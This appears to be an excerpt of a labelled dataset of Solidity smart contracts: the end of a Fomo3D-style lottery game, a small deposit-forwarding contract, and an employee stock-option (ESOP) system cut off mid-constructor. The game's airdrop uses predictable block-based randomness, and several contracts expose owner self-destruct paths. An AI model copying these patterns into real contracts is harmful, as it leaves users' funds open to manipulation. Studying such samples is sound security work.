function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) {
return ((((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask));
}
function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) {
uint256 _now = block.timestamp;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
return (round_[_rID].eth).keysRec(_eth);
}
return (_eth).keys();
}
function iWantXKeys(uint256 _keys) public view returns(uint256) {
uint256 _now = block.timestamp;
uint256 _rID = rID_;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
}
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external {
require (msg.sender == address(playerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID) {
pIDxAddr_[_addr] = _pID;
}
if (pIDxName_[_name] != _pID) {
pIDxName_[_name] = _pID;
}
if (plyr_[_pID].addr != _addr) {
plyr_[_pID].addr = _addr;
}
if (plyr_[_pID].name != _name) {
plyr_[_pID].name = _name;
}
if (plyr_[_pID].laff != _laff) {
plyr_[_pID].laff = _laff;
}
if (plyrNames_[_pID][_name] == false) {
plyrNames_[_pID][_name] = true;
}
}
function receivePlayerNameList(uint256 _pID, bytes32 _name) external {
require (msg.sender == address(playerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false) {
plyrNames_[_pID][_name] = true;
}
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) {
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0) {
_pID = playerBook.getPlayerID(msg.sender);
bytes32 _name = playerBook.getPlayerName(_pID);
uint256 _laff = playerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "") {
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID) {
plyr_[_pID].laff = _laff;
}
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team) private pure returns (uint256) {
if (_team < 0 || _team > 3) {
return 2;
}
return _team;
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) {
if (plyr_[_pID].lrnd != 0) {
updateGenVault(_pID, plyr_[_pID].lrnd);
}
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return _eventData_;
}
function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) {
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID])) / 100;
uint256 _res = _pot.sub(_win).sub(_com).sub(_gen);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0) {
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
partnership.deposit.value(_com)();
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = block.timestamp;
round_[_rID].end = block.timestamp.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast) private {
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0) {
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID) private {
uint256 _now = block.timestamp;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0) {
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
} else {
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
}
if (_newTime < (rndMax_).add(_now)) {
round_[_rID].end = _newTime;
} else {
round_[_rID].end = rndMax_.add(_now);
}
}
function airdrop() private view returns(bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add(
block.difficulty
).add(
uint256(keccak256(abi.encodePacked(block.coinbase))) / block.timestamp
).add(
block.gaslimit
).add(
(uint256(keccak256(abi.encodePacked(msg.sender)))) / block.timestamp
).add(
block.number
)
)));
if ((seed - ((seed / 1000) * 1000)) < airDropTracker_) {
return true;
}
return false;
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) {
uint256 _com = _eth / 25;
partnership.deposit.value(_com)();
uint256 _firstAff = _eth / 20;
if (_affID == _pID || plyr_[_affID].name == "") {
_affID = 1;
}
plyr_[_affID].aff = _firstAff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _firstAff, block.timestamp);
uint256 _secondAff = _eth / 10;
uint256 _secondAffID = plyr_[_affID].laff;
if (_secondAffID == plyr_[_secondAffID].laff && plyr_[_secondAffID].name == "") {
_secondAffID = 1;
}
plyr_[_secondAffID].aff = _secondAff.add(plyr_[_secondAffID].aff);
emit F3Devents.onAffiliatePayout(_secondAffID, plyr_[_secondAffID].addr, plyr_[_secondAffID].name, _rID, _affID, _secondAff, block.timestamp);
return _eventData_;
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) {
uint256 _gen = (_eth.mul(fees_[_team])) / 100;
uint256 _air = _eth / 100;
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = _eth.sub(_gen.add(_eth / 5));
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0) {
_gen = _gen.sub(_dust);
}
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) {
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return (_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID) private returns(uint256) {
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0) {
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private {
_eventData_.compressedData = _eventData_.compressedData + (block.timestamp * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
function activate() public onlyOwner {
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = block.timestamp + rndExtra_ - rndGap_;
round_[1].end = block.timestamp + rndInit_ + rndExtra_;
}
} | 0 | 276 |
pragma solidity ^0.4.18;
contract ClientReceipt {
event Deposit(address indexed _to, bytes32 indexed _id, uint _value);
address public owner;
function ClientReceipt() {
owner = msg.sender;
}
function deposit(bytes32 _id) public payable {
Deposit(this, _id, msg.value);
if(msg.value > 0) {
owner.transfer(msg.value);
}
}
function () public payable {
Deposit(this, 0, msg.value);
if(msg.value > 0) {
owner.transfer(msg.value);
}
}
} | 1 | 3,138 |
pragma solidity ^0.4.8;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner)
throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0))
owner = newOwner;
}
}
contract Destructable is Ownable {
function selfdestruct() external onlyOwner {
selfdestruct(owner);
}
}
contract Math {
uint constant public FP_SCALE = 10000;
function divRound(uint v, uint d) internal constant returns(uint) {
return (v + (d/2)) / d;
}
function absDiff(uint v1, uint v2) public constant returns(uint) {
return v1 > v2 ? v1 - v2 : v2 - v1;
}
function safeMul(uint a, uint b) public constant returns (uint) {
uint c = a * b;
if (a == 0 || c / a == b)
return c;
else
throw;
}
function safeAdd(uint a, uint b) internal constant returns (uint) {
uint c = a + b;
if (!(c>=a && c>=b))
throw;
return c;
}
}
contract TimeSource {
uint32 private mockNow;
function currentTime() public constant returns (uint32) {
if (block.timestamp > 0xFFFFFFFF)
throw;
return mockNow > 0 ? mockNow : uint32(block.timestamp);
}
function mockTime(uint32 t) public {
if (block.number > 3316029)
throw;
mockNow = t;
}
}
contract BaseOptionsConverter {
modifier onlyESOP() {
if (msg.sender != getESOP())
throw;
_;
}
function getESOP() public constant returns (address);
function getExercisePeriodDeadline() public constant returns (uint32);
function exerciseOptions(address employee, uint poolOptions, uint extraOptions, uint bonusOptions,
bool agreeToAcceleratedVestingBonusConditions) onlyESOP public;
}
contract ESOPTypes {
enum EmployeeState { NotSet, WaitingForSignature, Employed, Terminated, OptionsExercised }
struct Employee {
uint32 issueDate;
uint32 timeToSign;
uint32 terminatedAt;
uint32 fadeoutStarts;
uint32 poolOptions;
uint32 extraOptions;
uint32 suspendedAt;
EmployeeState state;
uint16 idx;
}
function serializeEmployee(Employee memory employee)
internal
constant
returns(uint[9] emp)
{
assembly {
emp := employee
}
}
function deserializeEmployee(uint[9] serializedEmployee)
internal
constant
returns (Employee memory emp)
{
assembly { emp := serializedEmployee }
}
}
contract CodeUpdateable is Ownable {
enum CodeUpdateState { CurrentCode, OngoingUpdate }
CodeUpdateState public codeUpdateState;
modifier isCurrentCode() {
if (codeUpdateState != CodeUpdateState.CurrentCode)
throw;
_;
}
modifier inCodeUpdate() {
if (codeUpdateState != CodeUpdateState.OngoingUpdate)
throw;
_;
}
function beginCodeUpdate() public onlyOwner isCurrentCode {
codeUpdateState = CodeUpdateState.OngoingUpdate;
}
function cancelCodeUpdate() public onlyOwner inCodeUpdate {
codeUpdateState = CodeUpdateState.CurrentCode;
}
function completeCodeUpdate() public onlyOwner inCodeUpdate {
selfdestruct(owner);
}
}
contract EmployeesList is ESOPTypes, Ownable, Destructable {
event CreateEmployee(address indexed e, uint32 poolOptions, uint32 extraOptions, uint16 idx);
event UpdateEmployee(address indexed e, uint32 poolOptions, uint32 extraOptions, uint16 idx);
event ChangeEmployeeState(address indexed e, EmployeeState oldState, EmployeeState newState);
event RemoveEmployee(address indexed e);
mapping (address => Employee) employees;
address[] public addresses;
function size() external constant returns (uint16) {
return uint16(addresses.length);
}
function setEmployee(address e, uint32 issueDate, uint32 timeToSign, uint32 terminatedAt, uint32 fadeoutStarts,
uint32 poolOptions, uint32 extraOptions, uint32 suspendedAt, EmployeeState state)
external
onlyOwner
returns (bool isNew)
{
uint16 empIdx = employees[e].idx;
if (empIdx == 0) {
uint size = addresses.length;
if (size == 0xFFFF)
throw;
isNew = true;
empIdx = uint16(size + 1);
addresses.push(e);
CreateEmployee(e, poolOptions, extraOptions, empIdx);
} else {
isNew = false;
UpdateEmployee(e, poolOptions, extraOptions, empIdx);
}
employees[e] = Employee({
issueDate: issueDate,
timeToSign: timeToSign,
terminatedAt: terminatedAt,
fadeoutStarts: fadeoutStarts,
poolOptions: poolOptions,
extraOptions: extraOptions,
suspendedAt: suspendedAt,
state: state,
idx: empIdx
});
}
function changeState(address e, EmployeeState state)
external
onlyOwner
{
if (employees[e].idx == 0)
throw;
ChangeEmployeeState(e, employees[e].state, state);
employees[e].state = state;
}
function setFadeoutStarts(address e, uint32 fadeoutStarts)
external
onlyOwner
{
if (employees[e].idx == 0)
throw;
UpdateEmployee(e, employees[e].poolOptions, employees[e].extraOptions, employees[e].idx);
employees[e].fadeoutStarts = fadeoutStarts;
}
function removeEmployee(address e)
external
onlyOwner
returns (bool)
{
uint16 empIdx = employees[e].idx;
if (empIdx > 0) {
delete employees[e];
delete addresses[empIdx-1];
RemoveEmployee(e);
return true;
}
return false;
}
function terminateEmployee(address e, uint32 issueDate, uint32 terminatedAt, uint32 fadeoutStarts, EmployeeState state)
external
onlyOwner
{
if (state != EmployeeState.Terminated)
throw;
Employee employee = employees[e];
if (employee.idx == 0)
throw;
ChangeEmployeeState(e, employee.state, state);
employee.state = state;
employee.issueDate = issueDate;
employee.terminatedAt = terminatedAt;
employee.fadeoutStarts = fadeoutStarts;
employee.suspendedAt = 0;
UpdateEmployee(e, employee.poolOptions, employee.extraOptions, employee.idx);
}
function getEmployee(address e)
external
constant
returns (uint32, uint32, uint32, uint32, uint32, uint32, uint32, EmployeeState)
{
Employee employee = employees[e];
if (employee.idx == 0)
throw;
return (employee.issueDate, employee.timeToSign, employee.terminatedAt, employee.fadeoutStarts,
employee.poolOptions, employee.extraOptions, employee.suspendedAt, employee.state);
}
function hasEmployee(address e)
external
constant
returns (bool)
{
return employees[e].idx != 0;
}
function getSerializedEmployee(address e)
external
constant
returns (uint[9])
{
Employee memory employee = employees[e];
if (employee.idx == 0)
throw;
return serializeEmployee(employee);
}
}
contract ERC20OptionsConverter is BaseOptionsConverter, TimeSource, Math {
address esopAddress;
uint32 exercisePeriodDeadline;
mapping(address => uint) internal balances;
uint public totalSupply;
uint32 public optionsConversionDeadline;
event Transfer(address indexed from, address indexed to, uint value);
modifier converting() {
if (currentTime() >= exercisePeriodDeadline)
throw;
_;
}
modifier converted() {
if (currentTime() < optionsConversionDeadline)
throw;
_;
}
function getESOP() public constant returns (address) {
return esopAddress;
}
function getExercisePeriodDeadline() public constant returns(uint32) {
return exercisePeriodDeadline;
}
function exerciseOptions(address employee, uint poolOptions, uint extraOptions, uint bonusOptions,
bool agreeToAcceleratedVestingBonusConditions)
public
onlyESOP
converting
{
uint options = safeAdd(safeAdd(poolOptions, extraOptions), bonusOptions);
totalSupply = safeAdd(totalSupply, options);
balances[employee] += options;
Transfer(0, employee, options);
}
function transfer(address _to, uint _value) converted public {
if (balances[msg.sender] < _value)
throw;
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
function () payable {
throw;
}
function ERC20OptionsConverter(address esop, uint32 exerciseDeadline, uint32 conversionDeadline) {
esopAddress = esop;
exercisePeriodDeadline = exerciseDeadline;
optionsConversionDeadline = conversionDeadline;
}
}
contract ESOPMigration {
modifier onlyOldESOP() {
if (msg.sender != getOldESOP())
throw;
_;
}
function getOldESOP() public constant returns (address);
function migrate(address employee, uint poolOptions, uint extraOptions) onlyOldESOP public;
}
contract ESOP is ESOPTypes, CodeUpdateable, TimeSource {
event ESOPOffered(address indexed employee, address company, uint32 poolOptions, uint32 extraOptions);
event EmployeeSignedToESOP(address indexed employee);
event SuspendEmployee(address indexed employee, uint32 suspendedAt);
event ContinueSuspendedEmployee(address indexed employee, uint32 continuedAt, uint32 suspendedPeriod);
event TerminateEmployee(address indexed employee, address company, uint32 terminatedAt, TerminationType termType);
event EmployeeOptionsExercised(address indexed employee, address exercisedFor, uint32 poolOptions, bool disableAcceleratedVesting);
event EmployeeMigrated(address indexed employee, address migration, uint pool, uint extra);
event ESOPOpened(address company);
event OptionsConversionOffered(address company, address converter, uint32 convertedAt, uint32 exercisePeriodDeadline);
enum ESOPState { New, Open, Conversion }
enum ReturnCodes { OK, InvalidEmployeeState, TooLate, InvalidParameters, TooEarly }
event ReturnCode(ReturnCodes rc);
enum TerminationType { Regular, BadLeaver }
OptionsCalculator public optionsCalculator;
uint public totalPoolOptions;
bytes public ESOPLegalWrapperIPFSHash;
address public companyAddress;
address public rootOfTrust;
uint32 constant public MINIMUM_MANUAL_SIGN_PERIOD = 2 weeks;
uint public remainingPoolOptions;
ESOPState public esopState;
EmployeesList public employees;
uint public totalExtraOptions;
uint32 public conversionOfferedAt;
uint32 public exerciseOptionsDeadline;
BaseOptionsConverter public optionsConverter;
mapping (address => ESOPMigration) private migrations;
modifier hasEmployee(address e) {
if (!employees.hasEmployee(e))
throw;
_;
}
modifier onlyESOPNew() {
if (esopState != ESOPState.New)
throw;
_;
}
modifier onlyESOPOpen() {
if (esopState != ESOPState.Open)
throw;
_;
}
modifier onlyESOPConversion() {
if (esopState != ESOPState.Conversion)
throw;
_;
}
modifier onlyCompany() {
if (companyAddress != msg.sender)
throw;
_;
}
function distributeAndReturnToPool(uint distributedOptions, uint idx)
internal
returns (uint)
{
Employee memory emp;
for (uint i = idx; i < employees.size(); i++) {
address ea = employees.addresses(i);
if (ea != 0) {
emp = _loademp(ea);
if (emp.poolOptions > 0 && ( emp.state == EmployeeState.WaitingForSignature || emp.state == EmployeeState.Employed) ) {
uint newoptions = optionsCalculator.calcNewEmployeePoolOptions(distributedOptions);
emp.poolOptions += uint32(newoptions);
distributedOptions -= uint32(newoptions);
_saveemp(ea, emp);
}
}
}
return distributedOptions;
}
function removeEmployeesWithExpiredSignaturesAndReturnFadeout()
onlyESOPOpen
isCurrentCode
public
{
Employee memory emp;
uint32 ct = currentTime();
for (uint i = 0; i < employees.size(); i++) {
address ea = employees.addresses(i);
if (ea != 0) {
var ser = employees.getSerializedEmployee(ea);
emp = deserializeEmployee(ser);
if (emp.state == EmployeeState.WaitingForSignature && ct > emp.timeToSign) {
remainingPoolOptions += distributeAndReturnToPool(emp.poolOptions, i+1);
totalExtraOptions -= emp.extraOptions;
employees.removeEmployee(ea);
}
if (emp.state == EmployeeState.Terminated && ct > emp.fadeoutStarts) {
var (returnedPoolOptions, returnedExtraOptions) = optionsCalculator.calculateFadeoutToPool(ct, ser);
if (returnedPoolOptions > 0 || returnedExtraOptions > 0) {
employees.setFadeoutStarts(ea, ct);
remainingPoolOptions += returnedPoolOptions;
totalExtraOptions -= returnedExtraOptions;
}
}
}
}
}
function openESOP(uint32 pTotalPoolOptions, bytes pESOPLegalWrapperIPFSHash)
external
onlyCompany
onlyESOPNew
isCurrentCode
returns (ReturnCodes)
{
if (pTotalPoolOptions > 1100000 || pTotalPoolOptions < 10000) {
return _logerror(ReturnCodes.InvalidParameters);
}
totalPoolOptions = pTotalPoolOptions;
remainingPoolOptions = totalPoolOptions;
ESOPLegalWrapperIPFSHash = pESOPLegalWrapperIPFSHash;
esopState = ESOPState.Open;
ESOPOpened(companyAddress);
return ReturnCodes.OK;
}
function offerOptionsToEmployee(address e, uint32 issueDate, uint32 timeToSign, uint32 extraOptions, bool poolCleanup)
external
onlyESOPOpen
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
if (employees.hasEmployee(e)) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (timeToSign < currentTime() + MINIMUM_MANUAL_SIGN_PERIOD) {
return _logerror(ReturnCodes.TooLate);
}
if (poolCleanup) {
removeEmployeesWithExpiredSignaturesAndReturnFadeout();
}
uint poolOptions = optionsCalculator.calcNewEmployeePoolOptions(remainingPoolOptions);
if (poolOptions > 0xFFFFFFFF)
throw;
Employee memory emp = Employee({
issueDate: issueDate, timeToSign: timeToSign, terminatedAt: 0, fadeoutStarts: 0, poolOptions: uint32(poolOptions),
extraOptions: extraOptions, suspendedAt: 0, state: EmployeeState.WaitingForSignature, idx: 0
});
_saveemp(e, emp);
remainingPoolOptions -= poolOptions;
totalExtraOptions += extraOptions;
ESOPOffered(e, companyAddress, uint32(poolOptions), extraOptions);
return ReturnCodes.OK;
}
function offerOptionsToEmployeeOnlyExtra(address e, uint32 issueDate, uint32 timeToSign, uint32 extraOptions)
external
onlyESOPOpen
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
if (employees.hasEmployee(e)) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (timeToSign < currentTime() + MINIMUM_MANUAL_SIGN_PERIOD) {
return _logerror(ReturnCodes.TooLate);
}
Employee memory emp = Employee({
issueDate: issueDate, timeToSign: timeToSign, terminatedAt: 0, fadeoutStarts: 0, poolOptions: 0,
extraOptions: extraOptions, suspendedAt: 0, state: EmployeeState.WaitingForSignature, idx: 0
});
_saveemp(e, emp);
totalExtraOptions += extraOptions;
ESOPOffered(e, companyAddress, 0, extraOptions);
return ReturnCodes.OK;
}
function increaseEmployeeExtraOptions(address e, uint32 extraOptions)
external
onlyESOPOpen
onlyCompany
isCurrentCode
hasEmployee(e)
returns (ReturnCodes)
{
Employee memory emp = _loademp(e);
if (emp.state != EmployeeState.Employed && emp.state != EmployeeState.WaitingForSignature) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
emp.extraOptions += extraOptions;
_saveemp(e, emp);
totalExtraOptions += extraOptions;
ESOPOffered(e, companyAddress, 0, extraOptions);
return ReturnCodes.OK;
}
function employeeSignsToESOP()
external
hasEmployee(msg.sender)
onlyESOPOpen
isCurrentCode
returns (ReturnCodes)
{
Employee memory emp = _loademp(msg.sender);
if (emp.state != EmployeeState.WaitingForSignature) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
uint32 t = currentTime();
if (t > emp.timeToSign) {
remainingPoolOptions += distributeAndReturnToPool(emp.poolOptions, emp.idx);
totalExtraOptions -= emp.extraOptions;
employees.removeEmployee(msg.sender);
return _logerror(ReturnCodes.TooLate);
}
employees.changeState(msg.sender, EmployeeState.Employed);
EmployeeSignedToESOP(msg.sender);
return ReturnCodes.OK;
}
function toggleEmployeeSuspension(address e, uint32 toggledAt)
external
onlyESOPOpen
onlyCompany
hasEmployee(e)
isCurrentCode
returns (ReturnCodes)
{
Employee memory emp = _loademp(e);
if (emp.state != EmployeeState.Employed) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (emp.suspendedAt == 0) {
emp.suspendedAt = toggledAt;
SuspendEmployee(e, toggledAt);
} else {
if (emp.suspendedAt > toggledAt) {
return _logerror(ReturnCodes.TooLate);
}
uint32 suspendedPeriod = toggledAt - emp.suspendedAt;
emp.issueDate += suspendedPeriod;
emp.suspendedAt = 0;
ContinueSuspendedEmployee(e, toggledAt, suspendedPeriod);
}
_saveemp(e, emp);
return ReturnCodes.OK;
}
function terminateEmployee(address e, uint32 terminatedAt, uint8 terminationType)
external
onlyESOPOpen
onlyCompany
hasEmployee(e)
isCurrentCode
returns (ReturnCodes)
{
TerminationType termType = TerminationType(terminationType);
Employee memory emp = _loademp(e);
if (terminatedAt < emp.issueDate) {
return _logerror(ReturnCodes.InvalidParameters);
}
if (emp.state == EmployeeState.WaitingForSignature)
termType = TerminationType.BadLeaver;
else if (emp.state != EmployeeState.Employed) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
uint returnedOptions;
uint returnedExtraOptions;
if (termType == TerminationType.Regular) {
if (emp.suspendedAt > 0 && emp.suspendedAt < terminatedAt)
emp.issueDate += terminatedAt - emp.suspendedAt;
returnedOptions = emp.poolOptions - optionsCalculator.calculateVestedOptions(terminatedAt, emp.issueDate, emp.poolOptions);
returnedExtraOptions = emp.extraOptions - optionsCalculator.calculateVestedOptions(terminatedAt, emp.issueDate, emp.extraOptions);
employees.terminateEmployee(e, emp.issueDate, terminatedAt, terminatedAt, EmployeeState.Terminated);
} else if (termType == TerminationType.BadLeaver) {
returnedOptions = emp.poolOptions;
returnedExtraOptions = emp.extraOptions;
employees.removeEmployee(e);
}
remainingPoolOptions += distributeAndReturnToPool(returnedOptions, emp.idx);
totalExtraOptions -= returnedExtraOptions;
TerminateEmployee(e, companyAddress, terminatedAt, termType);
return ReturnCodes.OK;
}
function offerOptionsConversion(BaseOptionsConverter converter)
external
onlyESOPOpen
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
uint32 offerMadeAt = currentTime();
if (converter.getExercisePeriodDeadline() - offerMadeAt < MINIMUM_MANUAL_SIGN_PERIOD) {
return _logerror(ReturnCodes.TooLate);
}
if (converter.getESOP() != address(this)) {
return _logerror(ReturnCodes.InvalidParameters);
}
removeEmployeesWithExpiredSignaturesAndReturnFadeout();
conversionOfferedAt = offerMadeAt;
exerciseOptionsDeadline = converter.getExercisePeriodDeadline();
optionsConverter = converter;
esopState = ESOPState.Conversion;
OptionsConversionOffered(companyAddress, address(converter), offerMadeAt, exerciseOptionsDeadline);
return ReturnCodes.OK;
}
function exerciseOptionsInternal(uint32 calcAtTime, address employee, address exerciseFor,
bool disableAcceleratedVesting)
internal
returns (ReturnCodes)
{
Employee memory emp = _loademp(employee);
if (emp.state == EmployeeState.OptionsExercised) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
if (exerciseFor != address(0)) {
var (pool, extra, bonus) = optionsCalculator.calculateOptionsComponents(serializeEmployee(emp),
calcAtTime, conversionOfferedAt, disableAcceleratedVesting);
}
employees.changeState(employee, EmployeeState.OptionsExercised);
optionsConverter.exerciseOptions(exerciseFor, pool, extra, bonus, !disableAcceleratedVesting);
EmployeeOptionsExercised(employee, exerciseFor, uint32(pool + extra + bonus), !disableAcceleratedVesting);
return ReturnCodes.OK;
}
function employeeExerciseOptions(bool agreeToAcceleratedVestingBonusConditions)
external
onlyESOPConversion
hasEmployee(msg.sender)
isCurrentCode
returns (ReturnCodes)
{
uint32 ct = currentTime();
if (ct > exerciseOptionsDeadline) {
return _logerror(ReturnCodes.TooLate);
}
return exerciseOptionsInternal(ct, msg.sender, msg.sender, !agreeToAcceleratedVestingBonusConditions);
}
function employeeDenyExerciseOptions()
external
onlyESOPConversion
hasEmployee(msg.sender)
isCurrentCode
returns (ReturnCodes)
{
uint32 ct = currentTime();
if (ct > exerciseOptionsDeadline) {
return _logerror(ReturnCodes.TooLate);
}
return exerciseOptionsInternal(ct, msg.sender, address(0), true);
}
function exerciseExpiredEmployeeOptions(address e, bool disableAcceleratedVesting)
external
onlyESOPConversion
onlyCompany
hasEmployee(e)
isCurrentCode
returns (ReturnCodes)
{
uint32 ct = currentTime();
if (ct <= exerciseOptionsDeadline) {
return _logerror(ReturnCodes.TooEarly);
}
return exerciseOptionsInternal(ct, e, companyAddress, disableAcceleratedVesting);
}
function allowEmployeeMigration(address employee, ESOPMigration migration)
external
onlyESOPOpen
hasEmployee(employee)
onlyCompany
isCurrentCode
returns (ReturnCodes)
{
if (address(migration) == 0)
throw;
Employee memory emp = _loademp(employee);
if (emp.state != EmployeeState.Employed && emp.state != EmployeeState.Terminated) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
migrations[employee] = migration;
return ReturnCodes.OK;
}
function employeeMigratesToNewESOP(ESOPMigration migration)
external
onlyESOPOpen
hasEmployee(msg.sender)
isCurrentCode
returns (ReturnCodes)
{
if (address(migration) == 0 || migrations[msg.sender] != migration)
throw;
removeEmployeesWithExpiredSignaturesAndReturnFadeout();
Employee memory emp = _loademp(msg.sender);
if (emp.state != EmployeeState.Employed && emp.state != EmployeeState.Terminated) {
return _logerror(ReturnCodes.InvalidEmployeeState);
}
var (pool, extra, _) = optionsCalculator.calculateOptionsComponents(serializeEmployee(emp), currentTime(), 0, false);
delete migrations[msg.sender];
migration.migrate(msg.sender, pool, extra);
totalExtraOptions -= emp.state == EmployeeState.Employed ? emp.extraOptions : extra;
totalPoolOptions -= emp.state == EmployeeState.Employed ? emp.poolOptions : pool;
employees.removeEmployee(msg.sender);
EmployeeMigrated(msg.sender, migration, pool, extra);
return ReturnCodes.OK;
}
function calcEffectiveOptionsForEmployee(address e, uint32 calcAtTime)
public
constant
hasEmployee(e)
isCurrentCode
returns (uint)
{
return optionsCalculator.calculateOptions(employees.getSerializedEmployee(e), calcAtTime, conversionOfferedAt, false);
}
function _logerror(ReturnCodes c) private returns (ReturnCodes) {
ReturnCode(c);
return c;
}
function _loademp(address e) private constant returns (Employee memory) {
return deserializeEmployee(employees.getSerializedEmployee(e));
}
function _saveemp(address e, Employee memory emp) private {
employees.setEmployee(e, emp.issueDate, emp.timeToSign, emp.terminatedAt, emp.fadeoutStarts, emp.poolOptions,
emp.extraOptions, emp.suspendedAt, emp.state);
}
function completeCodeUpdate() public onlyOwner inCodeUpdate {
employees.transferOwnership(msg.sender);
CodeUpdateable.completeCodeUpdate();
}
function()
payable
{
throw;
}
function ESOP(address company, address pRootOfTrust, OptionsCalculator pOptionsCalculator, EmployeesList pEmployeesList) {
companyAddress = company;
